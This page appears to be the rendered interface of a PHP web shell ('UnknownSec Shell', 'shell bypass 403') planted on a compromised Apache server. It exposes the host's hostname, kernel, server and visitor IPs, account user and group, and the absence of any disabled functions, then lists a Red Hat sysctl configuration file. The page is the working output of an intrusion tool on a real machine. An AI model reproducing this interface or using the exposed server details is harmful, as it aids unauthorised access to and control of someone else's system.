shell bypass 403

UnknownSec Shell

: /proc/thread-self/root/lib/sysctl.d/ [ drwxr-xr-x ]
Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 104.21.5.151
Your Ip: 216.73.216.229
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:
NONE

name : 50-redhat.conf
# https://bugzilla.redhat.com/show_bug.cgi?id=1689346
kernel.kptr_restrict = 1

# Source route verification
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.*.rp_filter = 1
-net.ipv4.conf.all.rp_filter
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